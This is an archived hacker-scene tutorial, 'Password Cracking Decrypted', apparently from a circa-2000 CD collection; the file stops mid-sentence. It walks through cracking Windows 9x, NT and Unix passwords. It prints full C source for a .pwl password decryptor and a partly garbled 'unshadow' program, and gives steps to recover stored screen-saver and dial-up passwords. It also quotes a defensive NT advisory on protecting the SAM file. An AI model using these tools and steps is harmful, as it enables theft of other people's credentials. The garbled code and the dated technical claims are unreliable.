home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / texts / misc / passwd.txt < prev    next >
Encoding:
Text File  |  2001-07-11  |  47.7 KB  |  888 lines

  1. ###########         #                   ###             #########      ##     # 
  2.  ############       ###                 #####           ###  #####     ###     ## 
  3.  #####    ####     #####               #######         ###    ###     ####    ### 
  4.  #####    #####   #######             #########       ###      #      ####  #### 
  5.   ####   #####    #######            ###########     ###               ### #### 
  6.    #########      #######           ####     ####    ###               ####### 
  7.     ###########    #####           #####     #####    ###     ##      ####### 
  8.    #############    ###   ##      ######  #########    ###   ####     ######### 
  9.   ######     ####    #   ####      ########  #####      ##  ######     ###   ### 
  10.  ######     ####     ##########     ####     ####        #########     ###  ##### 
  11.  #####     ####       ##########     ###     ###          #######     ####  ###### 
  12.  #############         ##########     ##     ##            #####      ####   #### 
  13.  ###########            ########      ##     ##             ###        ###    ## 
  14.  
  15.    #######       #     #        #     # 
  16.   ##########    ##     ##      ##     ## 
  17.  ###    ###     ##     ##     ###     ### 
  18.   ###    #     ###     ###   #####    ####           Black Sun Research Facility 
  19.     ###         ##     ##    ######   ####             http://blacksun.box.sk 
  20.       ###       ##     ##    #######  ####                 ASCII By : cyRu5 
  21.    #   ###     ###     ###   ####  ####### 
  22.   ###  ####   ####     ####   ###   ##### 
  23.  ###########   ###########     ##    ### 
  24.   #########      #######        #     # 
  25. _____________________________________________________________________________
  26.  
  27. Password Cracking Decrypted: By Ankit Fadia ankit@bol.net.in
  28. _____________________________________________________________________________
  29.  
  30. All of you would probably must have come across the term 'password'. Ever wondered why 
  31. exactly passwords work and how to crack them? Well, this manual will answer all your queries 
  32. about passwords and make you an expert in cracking passwords.
  33.  
  34. Passwords: An Introduction
  35.  
  36. First of all, what exactly is a password.A password is best described as a verification or an 
  37. authentication tool or object. Passwords are used to ensure legal and proper access to only those 
  38. people who have the authority or the permission to view the data.A password is required in many 
  39. places,you are required a password, to access your Inbox, you are required a password to dial up 
  40. to your Internet Service Provider and in some organisations you also need to enter a password to 
  41. start the system.At all places the Username and Password pair is used to authenticate the user.
  42. Usernames are used to identify the user and the password is used to authenticate the user and 
  43. for every unique username there is a unique password.Take the example of the Lock and Key, for 
  44. every lock you need a unique key to open it and enter.Here the Lock acts as the Username and 
  45. the password would be the key.So passwords are as important as the key of your house.
  46.  
  47. Your house remains safe as long as only you who is the rightful owner has the key and no one 
  48. else finds it.Similiarly, the concept behind passwords is that it is only the rightful owner who 
  49. knows the password and no one else knows it.Everyday we hear about password stealing, 
  50. computer break ins etc.Sometimes the user chooses very lame passwords which are easily 
  51. guessed by hackers.There are certain guidelines which I would like to tell you which you must 
  52. keep in mind while choosing a password:
  53.  
  54. 1. Never keep your password same as your Username
  55. 2. Never choose your own name, Date of Birth, spouse's name, pet's name, child's name etc as 
  56. your password, those are the first ones which are tried by a hacker.
  57. 3. Some people are so lazy that they keep their password to be 'Enter' (Carriage return)
  58. 4. Try to choose a word which is not in the dictionary and contains both numbers and alphabets, 
  59. and if possible use both Lower Case and Upper Case alphabets and also symbols like 
  60. (#,$,%,^ etc) as they can be cracked only be brute force password crackers which take too 
  61. long a time to crack.
  62.  
  63. You may say that choosing of weak passwords is responsible for the large number of hacks, but 
  64. people themselves are the weakest chain in the whole authentication process.Most people 
  65. usually use lame passwords like those I mentioned above, and those who use excellent 
  66. passwords are not able to remember them and then write the password down on a piece of paper 
  67. and stick it on their monitor.One should try his level best to remember weird passwords if he 
  68. wants to keep his system secure.The best places where you can find the passwords, would be 
  69. beneath the keyboard, behind the CPU or even on the sides of the monitor.
  70. Some people have trouble remembering the large number of passwords that they are asked for, 
  71. while using various services, as a result they use the same password everywhere.Thus knowing 
  72. even a single password might help in some cases.
  73.  
  74. Password Cracking
  75.  
  76. The most common method of password cracking is password guessing, although it requires a lot 
  77. of luck, it can be successful sometimes.To start to guess the password, you first need to gather 
  78. all kinds of info about the victim.(See the Guidelines of keeping a password for more details.)
  79. The most common and the most successful method of password cracking is th use of password 
  80. crackers.Now what exactly are password crackers? Now to understand what a password cracker 
  81. is and how it works, you first need to understand how a person is authenticated.
  82. When you are creating a new account or registering or running the setup(basically whenever you 
  83. create a new account by entering the Username and Password.) you might be asked for the 
  84. Username and Password.The username is mostly stored in plaintext, but the password that you 
  85. enter is stored in an encrypted form.Now when you enter the password, it is passed through a pre 
  86. defined algoritm and is thus encrypted and is stored on the hard disk.So next time when you use 
  87. the account and enter the password, the text (password) you type is passed through the same 
  88. algorithm and is compared with the earlier stored value.If they both match, the user is 
  89. authenticated else the authentication fails.
  90. The algorithm that is used to encrypt the password is a one way algorithm, by that I mean that if 
  91. we pass the encrypted password through the reverse algorithm, we will not get the original 
  92. plaintext password.
  93. Lets take an example to make it more clear: Say your plaintext password is xyz123 and it is 
  94. passed through an algorithm and stored in the a file as 0101027AF. Now if you get his encrypted 
  95. password and know the algorithm which xyz123 is passed through to get 0101027AF, you cannot 
  96. reverse the algorithm to get xyz123 from 0101027AF.
  97. When you are typing in your password, the computer does not display it in plaintext but instead 
  98. shows only stars i.e. ******** so that if someone is shoulder surfing, he cannot find out the 
  99. password.The text box has been programmed in such a way.On most forms Unix you will not 
  100. even see the asterix marks and the cursor will not move, so that neither does a person shoulder 
  101. surfing, find out the password nor does he find out the length of the password.
  102.  
  103. Password Crackers are of two types-: Brute Force and Dictionary Based. 
  104. Dictionary Based password Crackers try out all passwords from a given pre defined dictionary list 
  105. to crack a password.These are faster but more often than not are unsuccessful and do not return 
  106. the password.As they do not try out all combinations of possible keys, they are unable to crack 
  107. those passwords which have symbols or numbers in between.
  108. Brute Force Password Crackers try out all combinations of all keys which can be found in the 
  109. keyboard (i.e. Symbols, Numbers, Alphabets) both Lower Case and Upper Case.These kinds of 
  110. Password Crackers have a greater success rate but take a long time to crack the password.As 
  111. they take all possible keys into consideration, they are more effective.
  112. Now that you know the two main types of password crackers lets see how they work.
  113. As passwords are encrypted by a one way algorithm, password crackers do not extract the 
  114. password from the file but instead take the combination of letters, encrypt them by passing the 
  115. characters through the original algorithm and compare this value with the stored encrypted 
  116. value.If these two match, then the password cracker displays the password in plaintext.
  117.  
  118. Cracking The Windows Login Password
  119.  
  120. The Windows ( 9x) password is passed through a very weak algorithm and is quite easy to crack.
  121. Windows stores this login password in *.pwl files in the c:\windows directory.The .pwl files have 
  122. the filename which is the username coresponding to the password stored by it.A typical .pwl file 
  123. would be as follows:
  124. Note: This .pwl file has been taken from a Win98 machine running IE 5.0
  125.  
  126. ###############CUT HERE##############
  127.  
  128. πéàû                                                                                                                                                                                                                                                                     
  129.  
  130.  
  131.                                                                                    R   
  132.                                                                       
  133. p u.╨X+É|r╨qö▒/2│ ╩σíhCJéD  ╫  `═YÑì!φx}(ìqWñπ╞▒<!?α▄6Üßÿ⌠µ
  134. 4+\╛⌡+%E░╦╘²m╟╘ ▐I╗é B α╫£°╨à'@
  135.  
  136. ############CUT HERE#############
  137.  
  138. Lets go through the contents of this .pwl file.I am not sure what the first line signifies, but my 
  139. guess would be that it is the Name to which the computer is registered to.The next four lines have 
  140. just been entered by Windows and are not readable.The last two lines is the password but in the 
  141. encrypted form.There is no way to get the plaintext password by just studying the Windows 
  142. algorithm and these lines.To actually crack the password you need a simple but kewl cracker 
  143. coded in C called Glide.I have included the code below.If you have a sound C knowledge you can 
  144. study the code and actually experience how a password cracker works and how a password is 
  145. encrypted in Windows i.e. more about the Windows encryption algorithm.
  146.  
  147. *********************
  148. Newbie Tip: All exploits, crackers, mail bombers practically everything related with Hacking has 
  149. been written in either Perl or C. If you really want to be considered an elitte hacker, you have to 
  150. know how to program, without a sound knowledge of either C (C++) or Perl you cannot hack 
  151. successfully.Almost all exploits available on the net have an important part edited or missing, 
  152. without which it has no use.Some exploits may be needed to be edited in order to be run in your 
  153. platform.In order to do all this programming is needed.
  154. ********************
  155.  
  156.  
  157. #include <stdio.h>
  158. #include <string.h>
  159. #include <process.h>
  160. #include <stdlib.h>
  161. #include <ctype.h>
  162. #include <conio.h>
  163.  
  164. unsigned char huge Data[100001];
  165. unsigned char keystream[1001];
  166. int Rpoint[300];
  167.  
  168. void main (int argc,char *argv[]) {
  169.     FILE *fd;
  170.     int     i,j,k;
  171.     int    size;
  172.     char ch;
  173.     char *name;
  174.     int cracked;
  175.     int sizemask;
  176.     int maxr;
  177.     int rsz;
  178.     int pos;
  179.     int Rall[300]; /* recource allocation table */
  180.  
  181.  
  182.     if (argc<2) {
  183.         printf("usage: glide filename (username)");
  184.         exit(1);
  185.     }
  186.  
  187.     /* read PWL file */
  188.  
  189.     fd=fopen(argv[1],"rb");
  190.     if(fd==NULL) {
  191.         printf("can't open file %s",argv[1]);
  192.         exit(1);
  193.     }
  194.     size=0;
  195.     while(!feof(fd)) {
  196.         Data[size++]=fgetc(fd);
  197.     }
  198.     size--;
  199.     fclose(fd);
  200.  
  201.     /* find username */
  202.     name=argv[1];
  203.     if(argc>2) name=argv[2];
  204.     printf("Username: %s\n",name);
  205.  
  206.     /* copy encrypted text into keystream */
  207.     cracked=size-0x0208;
  208.     if(cracked<0) cracked=0;
  209.     if(cracked>1000) cracked=1000;
  210.     memcpy(keystream,Data+0x208,cracked );
  211.  
  212.     /* generate 20 bytes of keystream */
  213.     for(i=0;i<20;i++) {
  214.         ch=toupper(name[i]);
  215.         if(ch==0) break;
  216.         if(ch=='.') break;
  217.         keystream[i]^=ch;
  218.     };
  219.     cracked=20;
  220.  
  221.  
  222.     /* find allocated recources */
  223.  
  224.     sizemask=keystream[0]+(keystream[1]<<8);
  225.     printf("Sizemask: %04X\n",sizemask);
  226.  
  227.     for(i=0;i<256;i++) Rall[i]=0;
  228.  
  229.     maxr=0;
  230.     for(i=0x108;i<0x208;i++) {
  231.         if(Data[i]!=0xff) {
  232.             Rall[Data[i]]++;
  233.             if (Data[i]>maxr) maxr=Data[i];
  234.         }
  235.     }
  236.     maxr=(((maxr/16)+1)*16);    /* recource pointer table size appears to be divisable by 
  237. 16 */
  238.  
  239.     /* search after recources */
  240.  
  241.     Rpoint[0]=0x0208+2*maxr+20+2;    /* first recource */
  242.     for(i=0;i<maxr;i++) {
  243.         /* find size of current recource */
  244.         pos=Rpoint[i];
  245.         rsz=Data[pos]+(Data[pos+1]<<8);
  246.         rsz^=sizemask;
  247.         printf("Analyzing block with size: %04x\t(%d:%d)\n",rsz,i,Rall[i]);
  248.         if( (Rall[i]==0) && (rsz!=0) ) {
  249.             printf("unused resource has nonzero size !!!\n");
  250.             printf("If last line produced any : You may try to recover\n");
  251.             printf("press y to attempt recovery\n");
  252.             ch=getch();
  253.             if(ch!='y') exit(0);
  254.             rsz=2;
  255.             i-=1;
  256.         }
  257.  
  258.         pos+=rsz;
  259.  
  260.         /* Resources have a tendency to have the wrong size for some reason */
  261.         /* check for correct size */
  262.  
  263.         if(i<maxr-1) {
  264.             while(Data[pos+3]!=keystream[1]) {
  265.                 printf(":",Data[pos+3]);
  266.                 pos+=2; /* very rude may fail */
  267.             }
  268.         }
  269.  
  270.         pos+=2;    /* include pointer in size */
  271.         Rpoint[i+1]=pos;
  272.     }
  273.     Rpoint[maxr]=size;
  274.  
  275.     /* insert Table data into keystream */
  276.     for(i=0;i <= maxr;i++) {
  277.         keystream[20+2*i]^=Rpoint[i] & 0x00ff;
  278.         keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;
  279.     }
  280.     cracked+=maxr*2+2;
  281.  
  282.     printf("%d bytes of keystream recovered\n",cracked);
  283.  
  284.     /* decrypt resources */
  285.     for(i=0;i < maxr;i++) {
  286.         rsz=Rpoint[i+1]-Rpoint[i];
  287.         if (rsz>cracked) rsz=cracked;
  288.         printf("Recource[%d] (%d)\n",i,rsz);
  289.         for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]);
  290.         printf("\n");
  291.     }
  292.  
  293.  
  294.     exit(0);
  295. }
  296.  
  297.  
  298. Windows Screen Saver Password
  299.  
  300. This is an interesting hack and not many people know about it.This requires no canned hacking 
  301. tool, we will crack the password manually!!! First of all, why do we need to crack the Windows 
  302. Screen Saver? How does it restrict us? If a Screen Saver is password protected, then whenever it 
  303. is turned on, then in order to turn it off, you need to enter a password.It does not allow us to do 
  304. anything on a system until and unless we enter the password. We will keep seeing the screen 
  305. saver until we authenticate ourselves by entering the password.No not even CTRL+ALT+DEL 
  306. works in this case. Windows stores the Screen Saver password in the user.dat file in the 
  307. Windows directory.If you have multiple profiles on your system then it is stored in the user.dat file 
  308. in the c:\windows\profiles\username directory.(On Win 3x systems it is stored in the control.ini file
  309. The user.dat file constitues the registry of the Windows system, thus we can say that the 
  310. Windows Screen Saver Password is stored in the registry.
  311. First of all, you need to change the attributes of this file and make it editable by right clicking on it 
  312. and unselecting the Read Only Option else you will not be able to edit it.
  313. Once this is done, open this file in WordPad (Any text editor will do except MS WORD And 
  314. Notepad.)Now look for the string: ScreenSave_Data  
  315. You will find an even number of characters after Data, this is the Screen Saver Password 
  316. encrypted and stored in the hex system.Each pair or hex values represent a single ASCII 
  317. plaintext character.This means that if there are 10 hex values then the password is of 5 
  318. characters, each pair of Hex values standing for a single plaintext ASCII character.So in order to 
  319. get the Plaintext password you just need to decrypt these hex values into ASCII.
  320.  
  321. Internet Dial Up Password
  322.  
  323. Have you ever wondered where Windows stores the Internet Connection Password when you 
  324. have enabled the 'Save Password' option in the 'Connect To' dialog box of the dial up connection.
  325. Well this password is stored in the registry in the following registry key:
  326.  
  327. HKEY_CURRENT_USER\RemoteAccess\Profile\<connection name>
  328.  
  329. If you view the above key in the registry Editor then it probably will not appear understandable. If 
  330. you want to be able to understand the contents of this key and hence be able to edit this key,then 
  331. you will have to export this particular key and view it in Notepad.The password is stored in stored 
  332. as binary values and has to be converted into plantext ASCII before you are able to read it.
  333.  
  334. Windows NT Password
  335.  
  336. You have already seen how lame Windows 9x password encrypting algorithm is and how easy it 
  337. is to overide the Windows Login Password prompt in Win9x systems, well NT is a different 
  338. story.First of all lets see how the password is stored in NTà.firstly the password is not encrypted, 
  339. it is hashed using the RSA hash function and then this hashed version is passed through am 
  340. algorithm to obscure it, once onscured,it is stored in the NT registry.Alongwith a stonger 
  341. password storing tecnique it all ships with various utilities which make it more secureà.Service 
  342. Pack 2 ships with a dll which allows the system adminstrators to ensure that the Passwords used 
  343. by the users are strong or good enough.The User Manager can be configured to ensure that the 
  344. user passwords satisfy a particular condition, For example, it can check if the Users are using a 
  345. password of minimum length.
  346. If you really want to learn all about NT security, you should read the NTBugtraq archives and join 
  347. their mailing list.The NTBugtraq Archive is the most comprehensive and exaustive collection of 
  348. NT Security info.Visit them at www.ntbugtraq.com
  349. The site has everything that you would want to know about NT including the algorithm used to 
  350. obscure the hased password.There are various ways of getting administrator previledges in NT, I 
  351. am not mentioning all of them but have mentioned my favouriteà.Sam Attacks.If you want to 
  352. learn about all the ways of breaking into NT, then I recommend you to read the BugTraq 
  353. Arvhives.I would also be writing a Manual on Hacking NT quite Soon.
  354. __________________________
  355. Sam Attacks
  356.  
  357. The following article has been taken from the Bugtraq Archive. 
  358. Written by Russ Cooper - 7/22/1998 10:57:34 AM
  359.  
  360. In the interest of avoiding confusion, I have corrected some mis-use of encryption terminology in 
  361. the document. In addition, some additions have been made to both recommendations. Future 
  362. updates will be kept on http://ntbugtraq.ntadvice.com/default.asp?sid=1&pid=47&aid=15 and the 
  363. list will only be notified in the event of major changes.
  364.  
  365.  
  366. Recently, the algorithm for reversing the obfuscation (obscuring) step of hashing an NT user ID's 
  367. password was published. This has resulted in a great deal of discussion over the relative security 
  368. of Windows NT systems. This article intends on providing you, the NT Administrator, with 
  369. sufficient information and understanding to ensure you are able to DETECT an attempt to exploit 
  370. your systems using this algorithm.
  371.  
  372. Q: What's this all about?
  373.  
  374. A: When a password is stored on Windows NT, it is stored in hashed [not encrypted] form. The 
  375. clear-text password is first hashed using the RSA MD4 hash function, it is then obscured again 
  376. using an algorithm (which has now been published). Once obscured, it is stored within the NT 
  377. registry. The hashed MD4 version of the password (generally accepted as not reversible to clear-
  378. text) can be used to create a valid challenge response for its user ID. Therefore, should access to 
  379. this value be obtained, it would be possible to connect to an NT resource authenticating as that 
  380. user ID despite not having the clear-text password for that user. Since the method of removing 
  381. the obfuscation step has now been published, and since its possible to view the keys which store 
  382. the hashed passwords, its possible that this could be done.
  383.  
  384. Q: But someone must compromise the Administrator accout first, right?
  385.  
  386. A: Yes, but...as Les Landau quickly pointed out, the entire Security Access Manager (SAM) 
  387. database is backed up whenever the Emergency Repair Disk (ERD) is updated. Since updating 
  388. the ERD is good practice, its likely that your SAM has been backed up. By default, the backed up 
  389. SAM is stored in the file %systemroot%\repair\sam._ , and this directory, by default, allows the 
  390. group EVERYONE read access. It would be possible to retrieve the hashed passwords from this 
  391. file rather than from the live registry. The live registry requires Administrator, Administrator Group, 
  392. or Backup Operator priviledge in order to access the password keys. The backed up SAM in the 
  393. \repair directory does not. It is considered good practice to not give unrestricted access to the root 
  394. directory of your %systemroot% drive, as a precaution against having your system files 
  395. manipulated. By default these directories are not available over the network by anyone other than 
  396. the Administrator, members of the Administrators group, or the Backup Operator, so this only 
  397. becomes a risk if you allow other users access either by allowing them to log on at the machine 
  398. itself (log on locally) or by you creating a share at the root of your system drive granting others 
  399. permission. Neither of these scenarios are recommended in the interest of security. See 
  400. Recommendation #1 below for details on how to secure this file.
  401.  
  402. Q: Ok, so once I've protected the SAM._ file, then the only other way my machine can be 
  403. exploited is by fooling the Administrator, right?
  404.  
  405. A: The Administrator, members of the Administrators Group, the Backup Operator, and anyone 
  406. who has been granted the privilege to backup and restore files, all have the ability to access this 
  407. information. Furthermore, anyone who can start the Scheduler Service also has the ability to view 
  408. these entries (this will be explained in detail below). It should be noted, however, that nobody 
  409. other than the Administrator or members of the Administrators group has the ability to submit a 
  410. Schedule job. While it is possible for an Administrator to grant this ability to the Server Operators 
  411. group, this is strongly discouraged. Finally, despite the amount of discussion that has been held 
  412. on the topic, there is still a community of people who do not appreciate the threat of the Trojan 
  413. program. Fooling the Administrator is becoming easier as the web interface technology evolves. 
  414. Double-clicking may not be necessary to execute an application, and its possible for some 
  415. applications to launch themselves if reckless acceptance of Authenticode certificates has taken 
  416. place. Administrators may be logging into user's workstations, and if that workstation has not had 
  417. security controls in place, it's possible that the owner has put programs in the "All Users" Startup 
  418. group, thereby making them execute as the Administrator when he/she logs on to the 
  419. workstation.
  420.  
  421. As Microsoft have already said, it cannot be emphasized enough that the use of the Administrator 
  422. user ID should be strictly controlled and minimized in every way possible. So to the Backup 
  423. Operator account. Users who have been made members of the Administrators group should 
  424. similarily be tightly controlled. The most common reason for these types of permissions is a lack 
  425. of effort to properly configure user IDs which can access the necessary resources as something 
  426. other than members of the Administrators group. As these accounts have virtually limitless 
  427. abilties (since that is their purpose and design), their use must be controlled.
  428.  
  429. Q: Ok, but what if I want to have users of the Administrators group be able to use those 
  430. accounts for their everyday work?
  431.  
  432. A: Obviously this is a common situation in NT environments today. You should change it. If you 
  433. are willing to accept the risks that are associated with having such powerful accounts using 
  434. untrusted programs, you can rely on auditing to alert you to attempts to exploit your systems. 
  435. Unfortunately, due to your acceptance of the risks, you may not be able to prevent the exploits, 
  436. but you will be able to find out that they have taken place. Auditing, by default, is not turned on in 
  437. Windows NT. In order to record security events as they occur, you have to enable it. Below you 
  438. will find detailed instructions on how to establish security auditing, and in particular, how to audit 
  439. access to the sensitive areas containing the passwords. However, just auditing is not enough. 
  440. Once enabled, you also have to review the event logs regularily and be able to understand what 
  441. those events mean. In addition, it should be understood that audit events are recorded on the 
  442. machine at which they occur, they are not distributed throughout a domain. So if you have a 
  443. Backup Domain Controller in Toronto, and your Primary Domain Controller is in Lindsay, you will 
  444. need to collect the event logs from both locations and review them to determine if your passwords 
  445. have been violated. Either of these machines could be attacked and pose an equal risk, but only 
  446. the machine which is attacked will record the security audit event. There are a variety of 
  447. programs available for NT which can do event monitoring, collection, and alert notification. If you 
  448. are seriously interested in such a tool, contact me privately and I'll give you a list of currently 
  449. available products. Unfortunately none of them are inexpensive, but their costs pale in 
  450. comparison to the cost of trying to do this event work in a large scale environment manually.
  451.  
  452.  
  453. RECOMMENDATION #1 - How to secure the %systemroot%\repair\sam._ file
  454.  
  455. By default, the SAM._ file and \repair directory has the following permissions;
  456.  
  457. Administrators: Full Control 
  458. Everyone: Read 
  459. SYSTEM: Full Control 
  460. Power Users: Change 
  461. 1. From within Explorer, highlight the SAM._ file, right click, choose properties, security, 
  462. permissions. Remove all privilege from this file.
  463.  
  464.  
  465. 2. From a DOS prompt, execute the following;
  466.  
  467. cacls %systemroot%\repair\sam._ /D Everyone
  468.  
  469. This will deny the group Everyone permission to the file, ensuring that no other 
  470. permission (i.e. inheritted permissions from a share) can override the file permission.
  471.  
  472.  
  473. 3. Whenever you need to update your ERD, first execute the following from a DOS prompt;
  474.  
  475. cacls %systemroot%\repair\sam._ /T /G Administrators:C
  476.  
  477. This will grant Administrators change permission to update it during the ERD update.
  478.  
  479.  
  480. 4. Once the ERD has been updated, execute the following from a DOS prompt;
  481.  
  482. cacls %systemroot%\repair\sam._ /E /R Administrators
  483.  
  484. This will once again remove the permissions for Administrator.
  485.  
  486.  
  487. RECOMMENDATION #2 - How to enable auditing on password registry keys 
  488. 1. First you have to make sure auditing is enabled. Start User Manager, Policies, Audit, and 
  489. click "Audit These Events".
  490.  
  491.  
  492. 2. By default, Windows NT does not identify any users or groups to audit on any objects 
  493. within the system. Auditing can add performance overhead to your system depending on 
  494. the available resources, so care should be taken in determining what and whom to audit. 
  495. For a full description of auditing in Windows NT, I recommend the Microsoft Press book 
  496. "Windows NT 3.5 - Guidelines for Security, Audit, and Control", ISBN 1-55615-814-9. 
  497. Despite its title it is still the most comprehensive coverage of auditing that I have read. 
  498. For the sake of this example, we will simply check every Success and Failure checkbox.
  499.  
  500.  
  501. 3. Close the dialog.
  502.  
  503.  
  504. 4. Now for a little known trick. While logged on as Administrator, ensure that the Schedule 
  505. service is set to start up as the System account. Once set, start the Schedule service.
  506.  
  507.  
  508. 5. Check the time, and then open a DOS prompt. At the DOS prompt, type in the following; 
  509. at 22:48 /interactive "regedt32.exe" where 22:48 gets replaced with the current time plus 
  510. 1 minute (or 2 or whatever amount of time you think it will take you to type in the 
  511. command).
  512.  
  513.  
  514. 6. At the designated time, regedt32.exe will fire up and appear on your desktop. This 
  515. incarnation of regedt32.exe will be running in the security context of the user SYSTEM. 
  516. As such, you will be able to see the entire registry, every key within the SAM or Security 
  517. trees. BE VERY CAREFUL HERE. It is important to note that when running an applicatin 
  518. as SYSTEM, it does so attempting to use null session for credentials. Null session 
  519. support has been disabled by default in all versions of Windows NT after 3.1, therefore 
  520. any attempt to connect to non-local resources as this security context will fail. An 
  521. Administrator could enable null session support through the registry, but such a 
  522. configuration is strongly discouraged.
  523.  
  524.  
  525. 7. All we want to do is enable auditing on the designated keys, nothing else. To this end, we 
  526. highlight the HKEY_LOCAL_MACHINE windows within regedt32. Next highlight the SAM 
  527. tree. Choose the Security menu item, then Auditing. 
  528.  
  529.  
  530. 8. Click on the Add button and choose Show Users.
  531.  
  532.  
  533. 9. I'm going to recommend that you add the SYSTEM user, the group Domain Admins, and 
  534. the user Administrator. You want to cover any account which has the right to;
  535. "Take ownership of files or other objects"
  536. "Back up files and directories"
  537. "Manage auditing and security log"
  538. "Restore files and directories"
  539. "Add workstations to domain"
  540. "Replace a process level token"
  541.  
  542.  
  543. 10. Click the Audit Permission on Existing Subkeys 
  544.  
  545.  
  546. 11. Next, click in the Success and Failure checkboxes for the following entries;
  547. - Query Value
  548. - Set Value
  549. - Write DAC
  550. - Read Control
  551.  
  552.  
  553. 12. Choose OK, and then Yes.
  554.  
  555.  
  556. 13. Repeat the process for the Security tree.
  557.  
  558.  
  559. 14. Close REGEDT32, and stop the Schedule service. You will want to set the Schedule 
  560. service to use a userID for startup which you create, rather than SYSTEM, in future. Take 
  561. this opportunity to create such a user and change the startup for Schedule.
  562.  
  563. You will now have applied auditing to the entire SAM ensuring you'll be notified via the Event 
  564. Logger of any failed or successful access to your sensitive information by the only accounts 
  565. which have the ability to access such information. The issue of what to do when/if you discover 
  566. event notifications is beyond the scope of this document. Part of a good security policy is an 
  567. appropriate audit policy which would dictate how the event logs are reviewed, how the information 
  568. is verified, and what actions should be taken for each possible event. Refer to the book I've 
  569. recommended above for information on how to establish such a policy, or contact a consultant 
  570. capable of defining and implementing such a policy within your organization (not me, my plate's 
  571. full thanks).
  572. ______________________________________
  573.  
  574. L0phtCrack is a NT password cracker which can get NT passwords using both dictionary based 
  575. and brute force attacks.It can also be run on lower priority so that it can work in the background, 
  576. while NT is running.
  577.  
  578.  
  579. Cracking Unix Password Files
  580.  
  581. Unix is considered to be the most secure OS.The method used to store passwords is definitely 
  582. more safe and secure in Unix systems.In most Unix systems you will find that the passwords are 
  583. stored in file called 'passwd' which is located at /etc/passwd.The password file has many lines of 
  584. the following basic structure:
  585.  
  586. ankit:RqX6dqOZsf4BI:2:3:Ankit Fadia:/home/ankit:/bin/bash 
  587.  
  588. The above line can be broken and arraged as follows:
  589.  
  590. Username: ankit
  591. Encrypted Password: RqX6dqOZsf4BI
  592. User number: 2
  593. Group Number: 3 
  594. Actual Name: Ankit Fadia
  595. Home Directory: /home/ankit 
  596. Type of Shell: /bin/bash 
  597.  
  598. As the encryption algorithm is one way you cannot decrypt the password but need to use a  
  599. password cracker which will crack the password for you.
  600. The example line of the passwd file that I gave was a line taken from a unshadowed password 
  601. file.Now sometimes you may find that instead of the above line you may find something like the 
  602. below:
  603.  
  604. ankit:*:2:3:Ankit Fadia:/home/ankit:/bin/bash
  605.  
  606. The above line has been taken from a shadowed password file.In a shadowed password file what 
  607. happens is that the password field is replaced by a ' * ' (The ' * ' is called a token.)such that the 
  608. encrypted password does not show up in the password file and the list of encrypted passwords is 
  609. stored in a different file which is not readable by normal users.
  610.  
  611. ***************
  612. Hacking Tip: The ' * ' that replaces the passwords in shadowed password files is called a token 
  613. and on some systems it is also ' $ ' or ' # ' or even same as the Username.
  614. ***************
  615. So first of all to start cracking the password file you need to unshadow the passwords.You can 
  616. unshadow the passwords by running the following C program that I picked up somewhere.
  617.  
  618. struct  SHADOWPW {     /* see getpwent(3) */                                  char *pw_name; 
  619.      char *pw_passwd; 
  620. int  pw_uid;                                                          
  621.  
  622.      int  pw_gid; 
  623.      int  pw_quota; 
  624.  
  625.      char *pw_comment;                                                      
  626.  
  627.      char *pw_gecos; 
  628.      char *pw_dir; 
  629. char *pw_shell;                                                        
  630.    };                                                                       
  631.    struct passwd *getpwent(), *getpwuid(), *getpwnam();
  632.    #ifdef   elxsis? 
  633.  
  634.    /* Name of the shadow password file. Contains password and aging info *  
  635.                                                                             
  636.    #define  SHADOWPW "/etc/shadowpw"                                        
  637.    #define  SHADOWPW_PAG "/etc/shadowpw.pag"                                
  638.    #define  SHADOWPW_DIR "/etc/shadowpw.dir"                                
  639.    /*                                                                       
  640.     *  Shadow password file pwd->pw_gecos field contains:                   
  641.     *                                                                       
  642.     *  <type>,<period>,<last_time>,<old_time>,<old_password>                
  643.     *                                                                       
  644.     *  <type>  = Type of password criteria to enforce (type int).           
  645.     *  BSD_CRIT (0), normal BSD.                                            
  646.     *  STR_CRIT (1), strong passwords.                                      
  647.     *  <period>  = Password aging period (type long).                       
  648.     *  0, no aging.                                                         
  649.     *  else, number of seconds in aging period.                             
  650.     *  <last_time>     = Time (seconds from epoch) of the last password        
  651.     *  change (type long).                                                  
  652.     *  0, never changed.n                                                 
  653.     *  <old_time>  = Time (seconds from epoch) that the current password    
  654.     *  was made the <old_password> (type long).                             
  655.     *  0, never changed.ewromsinm                                           
  656.     *  <old_password> = Password (encrypted) saved for an aging <period> t  
  657.     *  prevent reuse during that period (type char [20]).                   
  658.     *  "*******", no <old_password>.                                        
  659.     */                                                                      
  660.                                                                             
  661.    /* number of tries to change an aged password */                         
  662.                                                                             
  663.    #define  CHANGE_TRIES 3                                                  
  664.                                                                             
  665.    /* program to execute to change passwords */                             
  666.                                                                             
  667.    #define  PASSWD_PROG "/bin/passwd"                                       
  668.                                                                             
  669.    /* Name of the password aging exempt user names and max number of entir        
  670.                                                                             
  671.    #define  EXEMPTPW "/etc/exemptpw"                                        
  672.    #define MAX_EXEMPT 100                                                   
  673.                                                                             
  674.                                                                             
  675.    /* Password criteria to enforce */                                       
  676.                                                                             
  677.    #define BSD_CRIT 0 /* Normal BSD password criteria */                    
  678.    #define STR_CRIT 1  /* Strong password criteria */                       
  679.    #define MAX_CRIT 1                                                       
  680.    #endif   elxsi                                                           
  681.    #define NULL 0                                                           
  682.    main()                                                                   
  683.    {                                                                        
  684.    struct passwd *p;                                                        
  685.   int i; 
  686.    for (;1;) {;                                                             
  687.     p=getpwent();
  688.      if (p==NULL) return; 
  689.      printpw(p);                                                          
  690.    }                                                                        
  691.    }  
  692.                                                                                                                                              
  693.    printpw(a)                                                               
  694.    struct SHADOWPW *a;                                                      
  695.    {    
  696.                                                                     
  697.    printf("%s:%s:%d:%d:%s:%s:%s\n",                                         
  698.       a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,                          
  699.       a->pw_gecos,a->pw_dir,a->pw_shell);                                   
  700.    }                                                                        
  701.  
  702. Now once the password file has been unshadowed you can use either Jack The Ripper or 
  703. Cracker Jack to crack the passwords.Cracker Jack is a DOS based Unix password file cracker 
  704. which can perform only dictionary based cracking.Do make sure that the password file that you 
  705. are trying to crack is unshadowed as these crackers cannot crack shadowed password files.
  706. You also need an exaustive Dictionary List  or a Wordlist.The more comprehensive the wordlist 
  707. the more is your chance to be able to crack the password file.You can get both these crackers 
